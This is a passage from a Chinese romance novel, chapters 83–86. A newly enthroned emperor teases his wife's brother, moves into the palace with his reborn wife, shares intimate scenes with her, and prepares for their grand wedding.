有时候你不强硬些,旁人就拿你当软包子任意揉搓。 四哥既愿意回去,那就再好不多。他足智多谋,定能想出更好的法子来。 兄妹道别,乔誉走出谢府大门。 才刚出去,便见身穿玄色私服的男人翻身下马。 见他出来,也不奇怪,似乎早就料到他要走似的。 乔誉冲对方微微颔首,没打算寒暄。 擦肩而过时,谢昭凌忽然叫住了他。 只见男人面色从容,散漫一笑,说出来的话直叫人拳头发痒: “往后是我叫你四哥,还是你唤她大嫂?” 第83章 【83】 却说乔誉回到乔府后,只两日功夫便将络绎不绝的访客都拦了回去。 他以谢昭凌的名义给各府都回了帖,明里暗里威胁了一通。 不得不说,这狐假虎威的事做起来,心里就是舒坦。 原本他没打算靠谢昭凌做成这事,可他才被谢昭凌恶心了一通,这口气不出不行。 转日没见人再来骚扰,乔誉才后知后觉,这不会也在谢昭凌的算计之中吧? 谢昭凌早不耐烦那帮人,可如今时局敏感,有些事不好亲自做,便借了乔誉的手。他先激起乔誉的愤怒,而后使了一招“借刀杀人”,让乔誉借着他的名头做事,这样就不能全算是他亲自做的。 这也是做给外人看的,光明正大且毫不掩饰地告诉外人,乔府与他同气连枝,感情好得跟一家人似的。 乔誉冷笑着磨牙,这狗男人,临了还不忘算计他。既然如此,也别怪他翻脸。 乔誉与褚氏请完安,说自己接下来还会再去月儿那里住上一段时日。 褚氏诧异片刻,点头应下,还让俞升也跟着去,怕他身边没个伺候的人。 乔誉不管那些,只一心去给谢昭凌添堵,气冲冲地走了。 房门被重重拍上,李嬷嬷眼皮狂跳,这位四公子向来进退有度,今儿这是吃炮仗了?李嬷嬷睐眼去瞧主子,生怕主子生气。 褚氏却欣慰地擦了擦眼角,笑道:“这孩子,终于也有点年轻人的样子。” 见过乔誉的人,都夸他稳重沉着,少年老成。如今也学会了同人斗气,表情鲜活,这叫褚氏这个做母亲的心中百感交集。 乔誉嘱咐俞升回去收拾东西,自己便先骑马去了谢府。 到时那小夫妻正并肩站在院里,你搂着我,我靠着你,对着一棵桂花树品评。 嘁,一棵树有何好看的? 紫棉远远候着,见到院门口的乔誉,忙迎上来,“四公子怎么来了?” 犹疑了下,“奴婢去通传——” 乔誉意味不明地笑了声,“不必。” 说罢阔步走了过去,站到谢昭凌的身边。站过去时,还故意用肩膀撞了他一下。 谢昭凌:? 冷飕飕的目光往人身上扫射。 乔姝月红着脸从男人怀里退开,为难道:“四哥,你怎么又来啦?” 乔誉:“……” 什么叫又?他这么不招人待见? 一定是谢昭凌这狗男人背地里说他坏话了。 乔姝月有些别扭,哀怨地瞥了谢昭凌一眼。 今日谢昭凌好不容易抽出时间来陪她,四哥偏来插一脚。四哥虽说是她兄长,可她既然嫁了人,四哥就算是客了。 客人上门,她得招呼,可她实在懒得管他。 她就想和谢昭凌单独过一日无人打扰的二人世界。 乔誉毫无破坏气氛的自觉,只当旁边没人,抱着肩,仰头对着树称赞道:“这花是开得不错。” 二人:“……” 难得的休沐被毁了,谢昭凌面无表情地将乔誉请进书房,按着他一起看底下送上来的政务。 既然来了,就别闲着,给他干活。 等乔誉头晕眼花,腰酸背痛地回了房间,谢昭凌终于露出笑容来。 有人帮忙分担,连休息的时间都提前了,这滋味确实不错。 他脚步欢快回了房,却见到床帐落下,榻上人已睡熟,还有她的呼吸声传出来。 谢昭凌:“……” 他揉揉鼻梁,冷笑了声。 从转日开始,谢昭凌揪着乔誉进了宫。 每日早出晚归的从一个人变成了两个。 乔誉没坚持两天就想走,有一天加完班,趁着夜色想要跑,结果还没到府门,不知从哪儿窜出来个暗卫,截住他逃跑的路,将他“请”了回去。 这下想走也走不了了。 俞升也是个不中用的,早早被霍方林拉去新兵营里训练去了。 霍方林说俞升弹弓打得准,夸他是百年难遇的神箭手,连哄带骗,说得俞升连自己姓什么都不知道了。 美滋滋地就跟人走了,连招呼都没同乔誉打。 这下乔誉身边一个自己人都没了,但凡有点风吹草动,都会被汇报给那狗男人。 一旦他想跑,谢昭凌就拿着一沓奏折来请他看。 看什么看,要当皇帝的又不是他!滚开!! 乔誉累得半死,躺在柔软的榻上,回忆起过往种种,心道他在乔府逍遥了快二十年,这下也终于体会到了吃亏的滋味,也体会到了被兄长欺凌的委屈,更知道了孤立无援的感觉。 乔姝月看着四哥日渐憔悴,好言关切了几句让他保重身体,别太用功苦读。说明年的秋闱他一定可以考中,无需焦虑。 她还不知道自己那没心肝的夫君是如何压榨底下人的。 乔誉有苦难言,只能苦笑着点头。 他现在不敢再挑衅,若是和小妹偷偷说那狗男人的坏话,那个小心眼还指不定要怎么更惨无人道地报复回来。 好在谢昭凌还有一丝人性,知道他还要准备科考,只圈着他做了半个月的工就放回去。 回去后人瘦了一圈,看得褚氏心疼坏了,忙吩咐厨房给他接连安排几日进补的饭食。 后又因补得太过,加上近日干燥,吃得他鼻血直流,怎么都止不住。 吴大夫来看过,憋着笑让乔誉不要太沉迷于补药,不可肆意放纵。 他板着脸说自己没有,只熬夜读书来着。 吴大夫“哦”了声,瞥一眼桌上还未撤下的鹿肉。 临走时又嘱咐了一遍,让他最近清心寡欲些,饮食上多吃清淡的。 “禁欲”二字着重强调一番,当时屋里还有婢女和陈姨娘,闻言皆捂着唇笑。 乔誉闭了闭眼,听到了他的清白名声破碎的声音。 褚氏送来的鹿肉劲儿实在不小,乔誉夜里睡不着,心浮气躁,去洗了个冷水澡。 回来躺在榻上,听到了外头三更梆响。 心头忽有一股难以言喻的悲伤漫上心头。 他想着这半个月发生的一连串的事,眼眶慢慢红了。 再次悔不该当初,实在不该因为一时气恼,去惹了那不该惹的人。 谢昭凌赢得不光彩,他手底下的人都帮他。 不像他,只有自己一个人,还没权没势。 但乔誉决定不同他计较。毕竟是亲兄长,给他点面子,这半个月里受的委屈默默咽下,没再同旁人说。 夜里又梦到谢昭凌初到乔家时,自己变着花样为难他。让他住漏雨的屋子,让他去打扫马厩。 真是个甜美的梦啊,要是一直都不醒来就好了。 ** 中秋时,小夫妻俩回了娘家。 用过午膳,乔姝月去陪褚氏,母女俩在房中说体己话,一众男人都被赶了出来。 二哥乔良离了父母以后,活像一只放回山野的猴子,张牙舞爪,上蹿下跳。 见四下无外人,蹦蹦跳跳凑上去,揽着妹夫的肩膀,说说笑笑的往外走。 “近来可还忙吗?有用得上二哥的地方就说话啊,我虽不懂什么正经事,但你若想在城里抓人,或者要问哪家纨绔的把柄,我可是门儿清。” “多谢二哥,不会同二哥客气的。” “哎,当初我就瞧你好。”乔誉欣慰地拍了拍他肩膀,一扭头,见乔誉远远缀在后头。 都出了主院,乔誉还没跟上来。 鬼鬼祟祟,不像好人。 乔良拧起眉,奇怪道:“老四,你在后头绣什么花呢?” 磨磨蹭蹭,磨磨唧唧的。 乔良不太高兴,“今儿妹妹妹夫难得回来,你不上赶着招待,躲什么懒?昔日里就数你们走得最近,怎么反而生疏起来了?” 乔誉:“……” 他有时候真的很羡慕二哥,做个傻子其实也挺好的。 谢昭凌懒散地瞥了一眼来,嘴角噙着一抹笑意,让人不得不深思,他心里是否又在憋坏水。 乔誉打了个冷颤,不自觉挺直背脊,连忙几步跟了上来。 …… 晚膳过后,褚氏挽留小夫妻俩。 房间都有现成的,乔姝月才出嫁没多久,那院子褚氏日日让人打扫,随时都能住进去。 乔姝月看了谢昭凌一眼,她只怕谢昭凌晚上还有事要忙,没敢一口应下。 谢昭凌笑着颔首,“都听母亲安排。” 褚氏欣喜不已,派人先去给木兰院掌灯,给他们烧热水。 又聊了半个时辰,褚氏乏了,他们一种小辈便起身告退。 二哥惦记自己房里那只才养的没断奶的小灰猫,匆匆打了招呼便回了院子。 谢昭凌目送乔良离开,才揽着乔姝月往回走。 他微微弯腰,贴近她的耳朵,“下回不必问我,你想留下咱们就留下。” “那怎么好?毕竟……” “毕竟我很忙?”他哑声笑道,“娘子之命,不敢不从。” 与她相比,没有什么更要紧的。 乔姝月无奈地叹了口气,随他去了。 谢昭凌见她这幅忧国忧民的样子就觉得可爱,没忍住要揽她入怀吻下去。 乔姝月红着脸,手抵着他胸膛,“四哥还在呢。” 谢昭凌皱着眉,不耐地往后瞥。 果真见乔誉唯唯诺诺在后头跟着。 没等谢昭凌质问,乔誉抢先开口:“回去的路只这一条!” 兄妹俩的院子挨着,没法躲开。 乔誉试探道:“要不你们让我先过去?随便你们亲热。” 乔姝月一下红透了脸,嗔谢昭凌一眼,转身走了。 谢昭凌没跟上去,背着手,折返到乔誉跟前。 “作甚?!” 乔誉应激道。 “往后,你管我叫兄长,我叫你四哥,你看如何?”谢昭凌笑得温柔,体贴道,“毕竟你已经先有一个大哥了,我不好抢他的。” “四哥”二字叫得既真诚又亲昵。 “都好,都好。”乔誉忍着心底的恶心,疲惫笑笑,有气无力道,“都听兄长的。” “好说,四哥。” 第84章 【84】 年底时,谢昭凌终于带着乔姝月住进了宫里。 花了几个月时间,后宫整饬一新,再无前朝的影子。 住进承华殿时,乔姝月长久地怔愣住。她没想到,一切竟和前世时一模一样。 屋里小宫女们沉默而忙碌,见到她也不多话,不多看,恭敬地低头行礼。 她站在门口,眼睛从屋中每一样物件上扫过。看着看着,眼睛渐渐潮湿。 刘妈妈不明所以,“姑娘?” 乔姝月摇摇头,迈步进门。 她前世是自己一个人走进这宫里的,身边没有一个旧识。 而如今,刘妈妈玉竹紫棉,甚至是李护卫,他们都随着她一起入宫了。 乔姝月靠坐在贵妃榻上,神思不属,陷入久久的回忆中。 入宫第一年的秋天,她认识谢昭凌的第三个月,当时她已经被封为“乔美人”。 虽然有位分,却不算是皇帝的女人。 乔姝月永远也忘不了那一日,一队精锐骑兵快马从旁边疾驰而过,将行刑台团团围住。 下一瞬,刽子手额头正中一箭,重重倒在她面前。 那刽子手死时,双目瞪着,与她的视线碰到一起。 有人为她松绑,她遥遥望去,只见一个挺拔的男人坐在高头大马上,手握着弓,也望向她。 铠甲在太阳的映照下,闪耀着刺目的强光。 离得实在太远了,根本瞧不清他的样貌,只知道是个高大的男人,周身充斥着冷厉的肃杀气,让人不敢与之对视。 那时的惧怕,只存在了半日。后来在大殿之上,那种感觉便消失了,取而代之变成敬重。 正如此刻,男人姿态放松,坐在她对面,笑着问她:“乔姑娘,昨日睡得好吗?” 而她垂着头,并不敢直视他,连说话的声音都小而无力:“谢陛下关心,睡得很好。” 男人挑眉,嘴角噙着一抹意味深长的笑意,似乎在打量她苍白的脸色,看得她陡然生出心虚来,他才笑了声,宽宏大量地放了她一马,说道:“那便好。” 他救下她,给了她容身之所,医治她通体的伤痛,明明可以随心所欲,将她拥有。 可他并不侵占她的身体,只每日下朝会来她这儿坐坐。 真的只是坐坐,同她闲聊说话。坦荡又君子,望着她的目光不含一丝杂念,叫人无法生出警惕与排斥来。 乔姝月目光低垂,落在对方玄色朝服上,他是下了朝直接过来的,没有回去换衣裳。 她心中涌现出一丝异样的感觉。 他似乎……很急切于见到她。 在她情绪出现抵抗的苗头时,男人适时起身,若无其事地笑道:“孤还有事,就先走了。” 他竟真的就这么走了。 乔姝月望着空荡荡的门口,陷入茫然。 半夜她腹痛得睡不着,大宫女去传了太医。施针用药后,她陷入昏沉。 隐约间,觉得身上冷。 光怪陆离的梦境之中,耳边又回荡起撕心裂肺的绝望的哀哭声。 柳步亭扭曲的面容又出现在眼前,她想起自己在数九隆冬里,只穿了一件单薄的寝衣,被柳步亭扔到冰天雪地之中,于是身子愈发地冷。 后半夜发起高热,浑身冒冷汗,不住地打颤。 忽然一股清冷好闻的气息涌入鼻腔。 身体陷入一个温暖宽阔的怀抱里,铺天盖地的安全感包裹着她。 而后噩梦远离,一夜安稳。 她没有再梦到任何人。 “阿月,阿月?” 乔姝月恍然回神,才发觉自己不知何时被谢昭凌抱进了怀里。 “……陛下?” 熟悉的气息,令她失神喃喃。 谢昭凌怔愣一瞬,笑出了声,“原来阿月这么希望我做皇帝。” 乔姝月意识到自己“叫错”了人,脸蛋微红,从回忆中抽身。 她闭着眼睛,任由他的气息将她包裹,心里想着,从前不知有多少晚上,他偷偷地跑到她的寝殿里,将病得毫无意识的她抱在怀中。 晚上给予她安抚,白日又顾虑着她的感受,保持一个不会令她不适的距离,小心翼翼,呵护着她。 所以她会爱上他,实在是太正常不过的事了。 “他们说你心情不好,怎么了?” 乔姝月感受到男人落在耳侧的吻,闭眸笑道:“是不开心,不过看到你就好了。” 谢昭凌不设防被她直白的示爱冲击,不由自主把人揽得更紧。 他想问她为何不开心,又不想破坏难得的温馨,她若是想提,自己就会主动说起,他若冒然问,不知是否会再碰到她的伤心事,最终还是决定将好奇压了下去。 登基大典就在明日,一切俱已妥当。 晚上两人都饮了些酒,情难自已,早早就将承华殿的宫人都赶了出去。 整座宫殿,只剩他们二人。 乔姝月没安全感道:“等会儿叫人她们都听不到。” 谢昭凌手指勾下她最后一件寝衣,随手扔挂到旁边立着的架子上。 “娘子还要叫谁?有任何需求,唤为夫便好。” 乔姝月泡在温汤中,整个人都染上一层红晕。 这座承华殿是前朝先贵妃居住的寝殿,殿后有一偌大汤池,暴君曾命人将温泉水引入,供贵妃享受。 后来先贵妃病逝,这座宫殿便空了出来,汤池也荒废了十几年时间。 前些日子,谢昭凌命人又将此处修葺整饬出来。 乔姝月前世没怎么享用过这里,一是她的身体弱,不适宜长时间久泡,二则是她与谢昭凌真正心意相通时,她身体再也无法肆意妄为,且那时他才舍不得像现在这样折腾她。 她看到男人站在水中,一步一步朝自己走近,忽得察觉到危机。 乔姝月往岸边逃,双手扒着池边,人正要趴上去,身后便贴上来一具躯体。 而后一条有力的手臂揽在她身前,将她一把勾回水中。 “娘子要逃到哪儿去?” 谢昭凌的酒量不差,但她不行,以一个小茶盅的大小来说,她一杯上脸,两杯就晕,今日喝了三杯,只觉得天旋地转,不知今夕是何年。 没有衣物的阻拦,她感受到了他的温度。 他竟然比汤池里的水温还要烫上一些,烫得她抖了下,身子顿时软在他怀里。 “阿凌哥哥……” 一声娇滴滴的呼唤,瞬间点燃了压抑的浴火。 “哥哥在呢。” 哗啦哗啦的水声,将她自己的身体发出的水声掩盖。 “姑娘怎么这样凉?”他哑声笑道,“让奴来给你暖暖。” 他全身都好热,无论是胸膛,亦或是手掌,贴在她冰凉如玉的身体上,带起一阵鸡皮疙瘩。 乔姝月蓦地脸颊通红,含着水雾的目光又羞又恼地嗔他一眼。 唇畔溢出三两声碎音儿,他眉眼带笑,戏谑道:“嘘,姑娘小声些,若让人发现,有损姑娘的声誉,可就嫁不出去了。” “嫁不出去,只能便宜了我。” 他故意在她耳边说话,热气扫得她浑身都痒。 她颤着声音:“你又演的是哪出?放,放开我……” “不喜欢?”身后那道声音苦故作恼道,“姑娘莫要厌弃我,我什么都会做的。” “你什么都会做?那你快放——” 话音未落,他当真远离,而她未尽的话语戛然而止。 谢昭凌眸光幽暗,轻声问:“真的要我听话吗?” “……” 乔姝月呜咽一声,头往后,枕靠在他肩头。 “看来姑娘口是心非。” 对于乔姝月来说,这样漫长的“折磨”是曾经从未经历过的。 连这辈子有过的大婚夜她也没经受过这些。 她知道他擅骑射,拉弓射箭无论是力道还是准头都没得说。 她知道他精细的活计也做得来,比如他送的那些手工制品,无一不精巧。 无论是玉梳还是玉簪,那只小兔子总是栩栩如生。 此时此刻,她更切身体会到,他指尖的灵活。 她感觉自己成了一块玉,被他珍重而小心地打磨着。 可她这块玉石实在太娇气,稍微一搓一弄,就嫩出了水,软成泥。 不像石,反而像一颗能甜进人心里的蜜果。 谢昭凌喉结滚动,将其吞入,来回地吮弄。 乔姝月勉强从一地破碎的音节中拼凑出一句完整的话: “你去偷学了?” “知我者,阿月也。”听上去他竟还有些得意,“小奴想要伺候好主人。” 乔姝月实在听不下去,抓着他头发的手松开,捂住了自己的脸,“净学些不三不四的东西。” “怎会?古人言——书犹药也,善读之可以医愚。”① 他说得一本正经,可行得却是荒唐事。 “我才不要做愚蠢之辈。” 乔姝月心道他不是愚者,他是太聪明了。 “母亲也教导我们,立身以立学为先,立学以读书为本。”② 他笑道:“可见多学点东西,不是坏事。” 一口一个母亲,叫得还挺高兴。 乔姝月昂首高吟,最后几个字变了调,她叫道:“既是奴,怎配唤我阿娘母亲?” 谢昭凌笑道:“小奴僭越,不过……” 他不再说,用行动表明,他会僭越到底。 …… 乔姝月疲软无力地趴在池边,心想, 这汪温泉,还是太热了。 第85章 【85】 当晚乔姝月是被人抱回去的。 她不知道宫女们看到那狼藉的汤池,心中作何想法,她只知道转日玉竹和紫棉再看到她时,脸蛋红得不像话。 两辈子没这么放纵过,身体疲累,一觉睡到转日正午。 醒来时,登基大典已经结束。 乔姝月没什么精神,靠在榻上昏昏欲睡。明明睡得很足,还是觉得困倦。 她撑着头,心里还在想昨晚发生过的事。 谢昭凌第一次这么没轻没重地对她,身体还真有点吃不消,都休息了一宿,她那处还隐隐有感觉。 腰侧也是,约莫是留下印子,碰一下就疼。 这人难道是属狗的吗?不仅咬她的背,还有她的…… “阿月。” 乔姝月闻声抬头,懒洋洋地一瞥,目光微凝。 眼前人这副打扮再熟悉不过。 谢昭凌喜欢暗色的衣裳,于是做主将龙袍的颜色由明黄改为玄色。 玄色衬他的气质,内敛沉稳,带着深重的威严。 他如今不到二十二岁,虽比前世相遇时要年轻上一些,可气势上分毫不减,已不见少年时的稚嫩。 扬眉笑望着她时,多了几分前世没有的意气风发。不似当年,幼时受尽苦楚,摸爬滚打,踏着尸山血海才走到她身边。 乔姝月顿时心软,心中百感交集。 才刚住进来,算是“故地重游”,她还没调整好状态,眼下骤然重逢“故人”,她眼眶登时热了。 俩人青梅竹马一起长大,是彼此身边最亲近的人,她的一个动作表情都能牵动他的心弦。 眼下这般,是谁给她委屈受了? 谢昭凌脚步停顿一瞬,而后快步走近,将她揽入怀中,神情担忧而茫然,“怎么了?” 她不言不语,默不作声窝进他怀中。 谢昭凌感受到前襟的潮湿,一颗心提了起来,小心翼翼的:“是我弄得你不舒服了?还在难受吗?” 思来想去,能叫她情绪波动这么大的也就只有他自己了。 他紧张地捏了捏自己认为折腾过火的那几处。 昨晚从背后抱她,将她抵在池边,把她的双臂反剪到背后来着。 谢昭凌不动声色按了按她的肩膀和手肘,见她没出声,知道这两处都没伤。 那是将她翻转过来,压在池边时,硌着后背了? 不应该,方才看她依靠在榻上,并无异样。而且他现在这么抱着她,手掌按在后背上,也没听她喊疼。 要不就是…… 谢昭凌眼睛瞥了一眼她的脚,心里想着,会不会是昨天将她的腿抬得太高,扭着了吧。 他犹豫着要不要蹲下去检查一番。 “阿凌哥哥……” 乔姝月忽然软着声音撒娇。 谢昭凌忙道:“在。” 乔姝月没忍住笑了一声,扬起头来,泪痕还在,“你都做皇帝了,怎么在我面前还是一副伏低做小的姿态?这样不好。” “这样有何不好?”他不解道,“那卖身契又不是假签。” 他顿了顿,认真道:“我做天下人的帝王,只除了你一个人。” 他疑惑的样子不似作伪,他是真的觉得,在她跟前,自己永远都是那个被她从龙潭虎穴里拯救出来的“仆从”。 前世是他救了她,这一世轮到她来拯救。 境况全然不同,可眼前人未有分毫改变。 乔姝月一想到前世,就觉得遗憾,明明她重生也过去许多年了。 当年才活过来时,她只觉得庆幸,一腔热忱都扑在救他一事上,旁的都没多想。 等重逢后嫁给他,她只觉得开心,也没有什么别的忧虑。 然而回到这里,物是人非,她不仅感受到了迟来的深深的遗憾与失落,还有未能与他携手到老的悔恨和不甘。 她害怕自己离开后,陛下过得不好。 又害怕自己离开后,他把自己忘了。 可是这二者是矛盾的,若一直记着她,就不可能安稳地过完余生。 所有负面的情绪在踏进这座宫殿那一瞬,齐齐地朝她袭来,像旋涡,像深渊,将她包裹、拖拽,无法挣脱,无法自拔。 一这样想,感觉自己又回到了前世病重时那般,全身都痛得厉害,想要将自己缩成一团,埋进他的怀里。 谢昭凌感觉到她在自己怀里发抖,一时间手足无措。 “究竟是何处难受?真是我弄伤了你吗?”谢昭凌急切道,“要不,叫太医来瞧瞧?” 怀里的女孩摇头,又点头。 谢昭凌无可奈何:“摇头又点头是何意?” “哪里都在难受,可并非是你弄伤的。”她顿了顿,幽怨抬头,“不要传太医。” 在自己宫里丢人就算了,她还不想第一天就声名远扬。 谢昭凌从她眼神里读出她的意思,笑道:“我们夫妻恩爱,他们若是笑话,那就是嫉妒。” 他一如既往地插科打诨开玩笑,她却没有似平时那般无奈地瞪他一眼。 乔姝月没有吭声,沉默了半晌。 她鼓起勇气,试探道:“我能不能不住在这里?” 这里有太多回忆,她害怕。 “好。” 谢昭凌没有一丝犹豫。 他思忖道:“不过新的宫殿收拾出来还要时间,这后宫空殿许多,你看上哪个,我们便住哪个,可好?” 乔姝月眼圈又红了,“我们?你要同我一起住吗?” 前世陛下也是,说什么都要缠着她一起睡。 谢昭凌愣了下,直勾勾看着她,半晌才眨了下眼睛,不可置信道:“你竟要撇下我吗?” “可你是一国之君,怎好与我挤在一起……” 谢昭凌不知她到底想说什么,一想到她可能在隐晦地说他以后或许会有别的女人,气得五脏都疼,想要狠狠捏着她的脸颊惩罚一番,可到底下不了手,打不得骂不得,他只能冷笑一声,咬牙切齿地:“我就住你那,哪儿都不去。” 怒火顶到头,他气势忽然又弱下去,弓起脊背,抱上去,下巴垫在她肩头,委屈道:“士可杀,不可辱,你方才那番话伤到我了。” “我早说了是你的人,你怎可再生疑心?” 乔姝月失落道:“帝王哪能只有一个女人?” 前世她不在乎的事,如今却斤斤计较起来。 “怎么不能?”谢昭凌皱眉道,“要那么多女人作甚?一日的时辰是有限的,哪有那么多精力去应付?” 他也说不上来为何,只是一想想和除了阿月以外的旁人有接触,他就觉得接受不了,觉得恶心,觉得自己脏了,跳进池子里搓三天三夜也洗不干净。 乔姝月犹豫道:“可假如我没有诞育子嗣的能力,你——” “你为何没有生育能力?”谢昭凌按着她的肩膀,目光担忧不已,认真地看着她,“你到底怎么了?” 乔姝月闭口不言,只摇头。 谢昭凌表情严肃,瞧着甚至有些凶狠。 她生不生孩子,他其实无所谓。 谢昭凌想起他的生母黎笙就是因为生下他才离世的,他知道女子生产等同于在鬼门关前走上一遭。虽然他也期待过能和她拥有属于他们两个的孩子,但一想到生产时要受的那些苦,他又实在舍不得。 成婚近半年,他一直都有刻意避子,所以他们暂时并不会有孩子。 她这样问,是身体出了问题吗? 谢昭凌紧蹙双眉,忽然想到她可以预知到未来。 她今日种种异样都与看到的未来有关吗?未来还是危机四伏吗? 可是他明明都扫清了障碍,登上了这最高的位置,不可能再有人能害她。又或者,这宫里还不够干净。 她不想住在这个宫殿,难不成…… 谢昭凌忽又想到他们没有共同的三十岁,脸色顿时难看起来。 在她眼中的未来里,她就死在了这座宫殿里吗? 未来的她,没有生育能力,还早早死在了这里。 半晌,谢昭凌高声吩咐宫人,“把太医找来。” 乔姝月拦不住他,后悔自己的一时冲动。 太医很快来了,诊脉过后,言说并无大碍,只是昨夜没休息好,又隐晦地提了句,即便年轻,也不要过于贪恋纵欲,说得乔姝月只想找个地缝钻进去。 谢昭凌面无表情,抓着太医问了一连串的问题。 太医无奈地说了几遍,她身体养得很好,只是需要稍加休息调养,谢昭凌才堪堪放下心来。 待人都退去,乔姝月背过身去,不搭理他。 谢昭凌这回没急着上前哄人,他垂眸若有所思,道了声晚点再来,便匆匆走了。 人走了,乔姝月又舍不得,追出去好远。 空荡荡的宫殿,像个深渊巨口,在她背后,随时都会将她吞没。 晚膳是乔姝月一人独用的,派人去请了谢昭凌,才知他竟将褚玄英乔誉霍方林等心腹全都叫到了思政殿里商议要事。 乔姝月知晓他一时半刻结束不了,便不等他,只吩咐御膳房备了几人的吃食,按时送去。 用过饭,紫棉将药端来。饮用过后,身子渐渐乏累,手握着卷诗经,本打算等他回来,结果靠在贵妃榻上,竟昏昏沉沉睡了过去。 再有意识时,感觉自己被人抱在怀里。 一颠一颠的,好像走在路上。 熟悉的味道,熟悉的怀抱,让乔姝月下意识便在他怀中蹭了蹭。 那人脚步一顿,而后低下头笑出声:“娘子醒了。” 她睡眼惺忪,茫然道:“这是去哪?” 仰着头,看着他的下巴,又视线下落,盯在他的喉结上。 看着那儿上下滑动,而后发出声音:“带你去我们的寝宫瞧瞧。” 即便已是深夜,周遭暗得看不清路,可男人抱着她依旧脚步平稳而迅捷。 他手上很稳,脚步轻快,乔姝月找了个舒服的姿势,惬意地打了个哈欠。 可爱的小动作又惹得上方的人一阵轻笑,笑得她脸蛋微红,嗔了他一眼。 “好好走你的路,仔细将我摔着了。” 他低声笑道:“是,小的遵命。” “……” 越走景色越熟悉,直到跨过一道宫门,乔姝月陡然清醒,瞪大眼睛。 “你怎么带我来思政殿了?” 这儿不是他办公的地方吗? 谢昭凌轻车熟路,抱着她进了偏殿,将她放到暖阁。 他放下人,正欲起身。 脖子上缠着的那双手臂忽然紧了紧,勾着他往回。 谢昭凌不设防向前倒,怕压着她,眼疾手快,撑在她身侧。 他无奈道:“不愿意?” 颈后那双手挠了挠他,他没忍住靠她更近,盯着那张饱满的红唇,难耐地隐忍。 乔姝月一无所知,拧着眉道:“当然不愿,我怎能住这里呢?” 整座宫殿应当都只属于帝王一人,偶尔留宿自然可以,可若长期住在这里,朝中文臣那张嘴岂能饶他? 前世陛下就为了她顶了许多压力,今生他更年轻,虽手腕强硬,但资历尚浅,更容易被那些多嘴的人啰嗦。 谢昭凌叹了口气,到底是御史家的女儿,有时会看重那些在他看来无关紧要的规矩。 谢昭凌并不与她争辩,这么多年,早知该如何应对她。只需稍稍装可怜,她便会心软。 果不其然,见他幽幽叹了口气,委屈哀求,可怜巴巴的模样,她便再说不出拒绝的话来,勉为其难地答应他,先这么过段日子,若人议论声太大,她还是会搬走的。 谢昭凌心想议论声太大他就把人外派出京,眼不见心不烦。 但嘴上不敢同她说,生怕再落得一个埋怨教训。 如此良夜,就应该好好享受。 床榻早已收拾出来,他搂着躺下,双唇相贴,她喃喃发问:“为何一定要住这儿呢?宫里明明大得很……” 他笑道:“你就当我一刻都离不开你吧。” 就在他的眼皮子底下,不信还能出什么事。 第86章 【86】 大婚在即,宫里宫外上上下下忙做一团。 关于帝后大婚的相关细节问题,一群人吵了几天都没结果。 思政殿里整日都是吵吵嚷嚷、鸡飞狗跳的。 因为谢昭凌要给乔姝月补一场盛大的成婚仪式,所以礼部就说,要将皇后娘娘从宫外迎进来,如此以示郑重。 谢昭凌对此是没有意见的,他希望在花费允许的条件内,排场越大越好。 但礼部又说,大婚前三日不能与新娘子见面,那谢昭凌可就不干了。 也不知是何缘由,自从搬到思政殿住以后,谢昭凌一日比一日要黏人。 在外召见群臣时还是个英明睿智的年轻君王形象,可一散了朝,回到寝殿,不是抱着就是要搂着,总之与她相处的时间中,半数以上都要同她挂在一起。 他好像在害怕什么,他不说,乔姝月也只能隐隐猜测,是不是近来政务上又遇上了难题。 他虽总说是她的护卫,拿那张卖身契说事,地位上看似要低她一等,真遇上事时,他却不愿意流露出软弱。 不知是他的示弱是故意哄她的,还是他将软弱都藏了起来,她确实一次也没看到过,只能从偶尔的肢体接触中,感受到他细微的不知名的恐惧。 谢昭凌在她的心中,总是无所不能且强大的,前世是,今生亦是如此。 不知究竟是什么事,令他也觉得无所适从。 眼下他正是没安全感的时候,礼部让他和人分开,一分开就是三日,那简直跟要他命一样。 礼部唯有一个年轻的官员是支持他的,可惜人微言轻,只能跟在里头帮谢昭凌吵架,搅浑局面,把礼部几个老头气的顿足捶胸,险些站着进来躺着出去。 谢昭凌想不通,一点小事何至于此。他又没有沉迷女色而荒废朝政,他该做的事都做了,一切都打理得井井有条,他只是不想和爱人分开而已。 礼部的人成天守着思政殿,苦口婆心地劝说,乔姝月待在偏殿里,不敢冒头。 陆思蓁就快远嫁,时间定在初夏,因为分别在即,又格外不舍乔姝月这个好友,最近往宫里跑得勤。陆思蓁自然也听说了传闻,日日往宫里跑也有看热闹的心态。 乔姝月要招待她,所以白日便借着这由头,从偏殿里搬了出去,只晚上人都散了才来这边睡。 白天谢昭凌被众臣吵得头疼,又见不到爱人,脾气显而易见愈发不好。 他一板起脸,在战场上带出来的肃杀气渐浓,底下人才战战兢兢收敛了声息。 没人敢忘记这位新帝是如何上位的,见他真的动怒,心里即便再不满,也不敢开口。 罢了,反正也不是什么祸国殃民的大事。 帝王说一不二,强硬言说三日绝对不行,最后礼部还是拗不过他,松口道那就前一日让人回娘家住,转日一早再把人迎接回宫。 这事的前因后果在宫里广为流传,陆思蓁来了几次,就知传言不虚,她背地里笑话谢昭凌离不开人,不过这话陆思蓁也只敢关起门来偷偷说给乔姝月一人听,毕竟谢昭凌如今身份不同,即便是玩笑也轻易开不得。 “听说陛下一晚上都不想和你分开?”陆思蓁坏笑着,挑挑眉,“成婚的滋味竟这么好吗?” 乔姝月被她调侃得面红耳赤,说不出话来。 “可我兄嫂刚成婚时,也不似你俩这样蜜里调油。”陆思蓁感慨道,“青梅竹马就是好啊。” 吉日选定,就在下个月十五。 十三日晚,谢昭凌早早结束公务,又将她困在殿中。 天还未黑,便缠着她胡闹一通。 乔姝月不许他在露在外头的地方留有印记,本意是让他收敛一些。 不曾想他眼前一亮,非但没有收敛,反而将她剥了个干净,在那些被衣物遮盖的地方,每一处都留下咬痕。 乔姝月不知他哪来的奇怪的癖好,喜欢咬她的身体。 并不痛,印子也不会留太久,很快就消弭,但在它还存在的这段时间中,他每每瞧见自己的“杰作”,都会愈发激动,拉着她往更深处沉沦。 “明日做不得,今日便是大婚前的最后一次,娘子允了我吧。” 高大的男人又趴在她膝头伏低做小,是吃准了她就吃软的这一套。 “那夫君可否让我歇息一日呢?”乔姝月比他更委屈,“你昨日、前日都用的这番说辞。” 谢昭凌心虚地轻咳一声,低头在她膝盖上吻了下,“我听说夫妻之间,日日都要有的。” 他仰起头,模样瞧着愈发可怜,“我已经亏了一日了,都没想着补。” 乔姝月不确定道:“日日都要吗?” 谢昭凌斩钉截铁道:“对。” 虽然已活了两世,但她在这事上经验实在不足。 